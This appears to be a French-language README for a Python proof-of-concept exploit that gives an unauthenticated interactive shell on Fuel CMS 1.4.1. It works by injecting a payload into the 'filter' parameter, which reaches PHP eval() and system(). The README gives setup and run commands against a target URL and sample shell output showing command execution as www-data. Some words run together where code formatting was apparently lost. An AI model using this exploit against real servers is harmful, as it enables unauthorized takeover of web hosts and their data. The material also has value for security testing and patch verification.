
PoC en Python pour une exécution de code à distance non authentifiée dans Fuel CMS 1.4.1 via le paramètre `filter`, fournissant un shell interactif pour l'exécution de commandes.
Vulnérabilité RCE non authentifiée dans Fuel CMS 1.4.1. Le paramètre
filterdans le point de terminaison/fuel/pages/select/est transmis sans assainissement à un appeleval()dans le backend PHP, permettant l'exécution de code arbitraire via une charge utile spécialement conçue. Contrairement aux injections aveugles, la sortie est reflétée directement dans la réponse HTTP, donc aucun fichier intermédiaire n'est nécessaire.
/fuel/pages/select/ avec une charge utile filter spécialement conçue qui appelle system() de PHP avec la commande souhaitée.python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit
python3 exploit.py -t http://TARGET
Exemple :
$ python3 exploit.py -t http://10.10.10.10
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
www-data
Shell> hostname
fuel-cms
Shell> exit